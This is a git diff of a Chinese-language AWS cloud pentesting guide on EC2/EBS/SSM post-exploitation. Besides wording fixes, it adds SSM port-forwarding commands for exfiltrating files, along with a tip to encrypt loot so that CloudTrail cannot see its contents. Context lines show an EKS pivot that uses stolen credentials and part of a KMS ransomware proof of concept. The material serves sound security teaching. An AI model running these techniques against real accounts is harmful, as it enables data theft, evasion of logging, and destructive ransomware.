diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index fc0639364..bf278ffd6 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -21,7 +21,7 @@ VPC 流量镜像 **在 VPC 内复制 EC2 实例的入站和出站流量**,无 aws-malicious-vpc-mirror.md {{#endref}} -### 复制运行实例 +### 复制运行中的实例 实例通常包含某种敏感信息。有不同的方法可以进入(查看 [EC2 权限提升技巧](../../aws-privilege-escalation/aws-ec2-privesc.md))。然而,检查其内容的另一种方法是 **创建一个 AMI 并从中运行一个新实例(即使在您自己的账户中)**: ```shell @@ -105,12 +105,12 @@ aws ec2 delete-flow-logs --flow-log-ids --region aws ssm start-session --target "$INSTANCE_ID" ``` 3. 使用 [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 脚本获取 Bastion EC2 AWS 临时凭证 -4. 将凭证转移到您自己的机器的 `$HOME/.aws/credentials` 文件中,作为 `[bastion-ec2]` 配置 +4. 将凭证转移到你自己的机器,存储在 `$HOME/.aws/credentials` 文件中,作为 `[bastion-ec2]` 配置 5. 以 Bastion EC2 身份登录 EKS: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. 更新 `$HOME/.kube/config` 文件中的 `server` 字段,指向 `https://localhost` +6. 更新 `$HOME/.kube/config` 文件中的 `server` 字段,使其指向 `https://localhost` 7. 创建一个 SSM 隧道,如下所示: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region @@ -119,11 +119,52 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo ```shell kubectl get pods --insecure-skip-tls-verify ``` -请注意,SSL 连接将失败,除非您设置 `--insecure-skip-tls-verify` 标志(或其在 K8s 审计工具中的等效项)。由于流量通过安全的 AWS SSM 隧道进行隧道传输,您可以免受任何类型的中间人攻击。 +注意,除非您设置 `--insecure-skip-tls-verify` 标志(或其在 K8s 审计工具中的等效项),否则 SSL 连接将失败。由于流量通过安全的 AWS SSM 隧道进行隧道传输,您可以免受任何类型的中间人攻击。 -最后,这种技术并不特定于攻击私有 EKS 集群。您可以设置任意域和端口,以便转向任何其他 AWS 服务或自定义应用程序。 +最后,这种技术并不特定于攻击私有 EKS 集群。您可以设置任意域和端口,以便转发到任何其他 AWS 服务或自定义应用程序。 -### Share AMI +--- + +#### 快速本地 ↔️ 远程端口转发 (AWS-StartPortForwardingSession) + +如果您只需要将 **一个 TCP 端口从 EC2 实例转发到您的本地主机**,您可以使用 `AWS-StartPortForwardingSession` SSM 文档(不需要远程主机参数): +```bash +aws ssm start-session --target i-0123456789abcdef0 \ +--document-name AWS-StartPortForwardingSession \ +--parameters "portNumber"="8000","localPortNumber"="8000" \ +--region +``` +该命令在您的工作站(`localPortNumber`)和实例上的选定端口(`portNumber`)之间建立双向隧道**而不打开任何入站安全组规则**。 + +常见用例: + +* **文件外泄** +1. 在实例上启动一个指向您想要外泄的目录的快速 HTTP 服务器: + +```bash +python3 -m http.server 8000 +``` + +2. 从您的工作站通过 SSM 隧道获取文件: + +```bash +curl http://localhost:8000/loot.txt -o loot.txt +``` + +* **访问内部 web 应用程序(例如 Nessus)** +```bash +# Forward remote Nessus port 8834 to local 8835 +aws ssm start-session --target i-0123456789abcdef0 \ +--document-name AWS-StartPortForwardingSession \ +--parameters "portNumber"="8834","localPortNumber"="8835" +# Browse to http://localhost:8835 +``` +提示:在提取证据之前先压缩和加密,以便 CloudTrail 不记录明文内容: +```bash +# On the instance +7z a evidence.7z /path/to/files/* -p'Str0ngPass!' +``` +### 分享 AMI ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` @@ -139,7 +180,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe 一个类似于在 S3 后渗透笔记中演示的勒索软件演示的概念验证。KMS 应该被重命名为 RMS(勒索软件管理服务),因为使用它加密各种 AWS 服务是如此简单。 -首先,从一个“攻击者”的 AWS 账户中,在 KMS 中创建一个客户管理密钥。在这个例子中,我们将让 AWS 为我管理密钥数据,但在现实场景中,恶意行为者会将密钥数据保留在 AWS 控制之外。更改密钥策略以允许任何 AWS 账户主体使用该密钥。对于这个密钥策略,账户名称为 'AttackSim',允许所有访问的策略规则称为 'Outside Encryption'。 +首先,从一个“攻击者”的 AWS 账户中,在 KMS 中创建一个客户管理密钥。在这个例子中,我们将让 AWS 为我管理密钥数据,但在现实场景中,恶意行为者会将密钥数据保留在 AWS 控制之外。更改密钥策略以允许任何 AWS 账户主体使用该密钥。对于这个密钥策略,账户的名称是 'AttackSim',允许所有访问的策略规则称为 'Outside Encryption'。 ``` { "Version": "2012-10-17", @@ -324,15 +365,15 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ] } ``` -请稍等,直到新设置的密钥策略传播完成。然后返回到“受害者”账户,尝试附加一个新加密的EBS卷。你会发现可以附加该卷。 +请稍等,直到新设置的密钥策略传播完成。然后返回到“受害者”账户,尝试附加一个新加密的EBS卷。你会发现你可以附加该卷。 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -但是,当你尝试使用加密的EBS卷实际启动EC2实例时,它将失败,并且会从“待处理”状态永远返回到“已停止”状态,因为附加的EBS卷无法使用密钥解密,因为密钥策略不再允许。 +但是,当你尝试实际启动带有加密EBS卷的EC2实例时,它将失败,并且会永远从“待处理”状态返回到“已停止”状态,因为附加的EBS卷无法使用密钥解密,因为密钥策略不再允许。 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -这是使用的python脚本。它获取“受害者”账户的AWS凭证和一个公开可用的AWS ARN值,用于加密的密钥。该脚本将对目标AWS账户中所有附加到所有EC2实例的可用EBS卷进行加密副本,然后停止每个EC2实例,分离原始EBS卷,删除它们,最后删除在此过程中使用的所有快照。这将只在目标“受害者”账户中留下加密的EBS卷。仅在测试环境中使用此脚本,它是破坏性的,并将删除所有原始EBS卷。你可以使用所用的KMS密钥恢复它们,并通过快照将它们恢复到原始状态,但我只是想让你意识到,这在最终是一个勒索软件的概念验证。 +这是使用的python脚本。它获取“受害者”账户的AWS凭证和用于加密的公开可用AWS ARN值。该脚本将对目标AWS账户中所有附加到所有EC2实例的可用EBS卷进行加密副本,然后停止每个EC2实例,分离原始EBS卷,删除它们,最后删除在此过程中使用的所有快照。这将只在目标“受害者”账户中留下加密的EBS卷。仅在测试环境中使用此脚本,它是破坏性的,并将删除所有原始EBS卷。你可以使用所用的KMS密钥恢复它们,并通过快照将它们恢复到原始状态,但我只是想让你意识到,这在最终是一个勒索软件的概念验证。 ``` import boto3 import argparse @@ -449,4 +490,8 @@ delete_snapshots(ec2_client, snapshot_ids) if __name__ == "__main__": main() ``` +## 参考 + +- [Pentest Partners – 如何使用 SSM 在 AWS 中传输文件](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) + {{#include ../../../../banners/hacktricks-training.md}}